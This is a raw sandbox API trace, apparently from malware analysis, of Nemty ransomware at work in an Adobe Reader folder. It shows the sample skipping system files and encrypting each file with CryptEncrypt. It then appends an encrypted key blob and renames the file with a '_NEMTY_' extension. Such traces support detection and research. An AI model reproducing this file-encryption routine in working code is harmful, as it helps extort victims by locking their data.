[0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="...") returned 1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="windows") returned -1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="$RECYCLE.BIN") returned 1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="rsa") returned -1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="NTDETECT.COM") returned -1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="ntldr") returned -1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="MSDOS.SYS") returned -1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="IO.SYS") returned -1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="boot.ini") returned 1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="boot.ini") returned 1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="ntuser.dat") returned -1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="desktop.ini") returned 1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="CONFIG.SYS") returned 1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="RECYCLER") returned -1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="BOOTSECT.BAK") returned 1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="bootmgr") returned 1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="programdata") returned -1 [0217.389] lstrcmpiW (lpString1="est.hyp", lpString2="appdata") returned 1 [0217.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.389] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.389] Sleep (dwMilliseconds=0x5) [0217.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3537bd50, dwHighDateTime=0x1d561e8)) [0217.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3537bd50, dwHighDateTime=0x1d561e8)) [0217.399] GetLastError () returned 0x0 [0217.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.400] GetLastError () returned 0x0 [0217.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.400] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.400] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.400] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.400] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="arW5YD2lo1MLsr1mI79SORkGe9pv8j0cnpSXhlXbIrLRVHAK/HtMcKXAw/Bu+a0J\r\nVOq180eKB8uJxAwAFKVTheg84ce47NR3Pnf2g56BPhV1CUaOfEUQIRxrkmYgs/Tv\r\nwX1t9oGNvA2Km3gsSfYCSnlc8ePSjYm5QWF7PEokUASFqzDXAPq/IHtYKkHkyiMw\r\naLgnounMVotXg7r/L6uquWZYVBqYWWleyNnzZ4mz08VMtvZpm1BwT3l4ertw8IHq\r\n6ss5kyIl8/34I0S2nBZa6gFqrVhhh1swxiwc8Fc5qPPCs8xhMKxjPm/jk3D8Y4sH\r\nmjdCAnWdZRr+aWoKwv5DEQ==\r\n", pcchString=0x653df5c) returned 1 [0217.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.400] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.400] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.401] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=16384) returned 1 [0217.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4000) returned 0x6354c48 [0217.401] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.401] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x4000, lpOverlapped=0x0) returned 1 [0217.404] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.404] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x4000, lpOverlapped=0x0) returned 1 [0217.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.404] SetFilePointer (in: hFile=0x320, lDistanceToMove=16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4000 [0217.404] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.404] CloseHandle (hObject=0x320) returned 1 [0217.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.405] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.405] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est.hyp._nemty_kgobjgd_")) returned 1 [0217.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.405] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.406] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20f800, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="est133.lex", cAlternateFileName="")) returned 1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2=".") returned 1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="..") returned 1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="...") returned 1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="windows") returned -1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="$RECYCLE.BIN") returned 1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="rsa") returned -1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="NTDETECT.COM") returned -1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="ntldr") returned -1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="MSDOS.SYS") returned -1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="IO.SYS") returned -1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="boot.ini") returned 1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="boot.ini") returned 1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="AUTOEXEC.BAT") returned 1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="ntuser.dat") returned -1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="desktop.ini") returned 1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="CONFIG.SYS") returned 1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="RECYCLER") returned -1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="BOOTSECT.BAK") returned 1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="bootmgr") returned 1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="programdata") returned -1 [0217.406] lstrcmpiW (lpString1="est133.lex", lpString2="appdata") returned 1 [0217.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est133.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est133.lex", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est133.lex", lpUsedDefaultChar=0x0) returned 10 [0217.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est133.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est133.lex", cchWideChar=10, lpMultiByteStr=0x653e210, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est133.lex", lpUsedDefaultChar=0x0) returned 10 [0217.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.406] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.406] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.406] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est133.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est133.lex", cchWideChar=10, lpMultiByteStr=0x653e260, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est133.lex", lpUsedDefaultChar=0x0) returned 10 [0217.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est133.lex", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0217.407] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="est133.lex", cchWideChar=10, lpMultiByteStr=0x653e298, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="est133.lex", lpUsedDefaultChar=0x0) returned 10 [0217.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.407] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.407] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.407] Sleep (dwMilliseconds=0x5) [0217.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x353a1eb0, dwHighDateTime=0x1d561e8)) [0217.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x353a1eb0, dwHighDateTime=0x1d561e8)) [0217.415] GetLastError () returned 0x0 [0217.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.415] GetLastError () returned 0x0 [0217.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.415] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.415] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.415] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.416] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="LhKqe76q54S3Yw/ppMkmHGdrMz5Cgc01RhwIwUnqwbtrTHAy8aXD6c9Cm75VNswR\r\nmQSzTHk8905G2hFLkCEiDFCjOTX1qGgDjn3PGrKK7jIOMXC5T1dGcMV1vKmikjBN\r\nFmDLrOPiNUouWYDPsdQQjdzgbS8iS1YyKiWdG6qoTejjpDQHz39talzwbS56yFOt\r\n1kYBM9vxMrFGhYhLbur69N+dgGdHh8FtU3gNQz+pJzmUthzJLikAlHskVTAkQB+P\r\nhiPw3YCIeX7KtA2YQMkLhsfV3WNePeZvBbhLgOAWgWkeKRD+bhhq9nM937eTdmqA\r\nz7361/ihJ+QFyQQFdw5pLA==\r\n", pcchString=0x653df5c) returned 1 [0217.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.416] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est133.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est133.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.416] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=2160640) returned 1 [0217.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.416] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.416] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.425] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.425] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.426] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.426] SetFilePointer (in: hFile=0x320, lDistanceToMove=2160640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20f800 [0217.426] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.429] CloseHandle (hObject=0x320) returned 1 [0217.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.430] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.430] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.430] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est133.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est133.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\est133.lex._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\est133.lex._nemty_kgobjgd_")) returned 1 [0217.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.430] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.431] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.431] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e11b040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fec, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="est32.clx", cAlternateFileName="")) returned 1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2=".") returned 1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="..") returned 1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="...") returned 1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="windows") returned -1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="$RECYCLE.BIN") returned 1 [0217.431] lstrcmpiW (lpString1="est32.clx", lpString2="rsa") 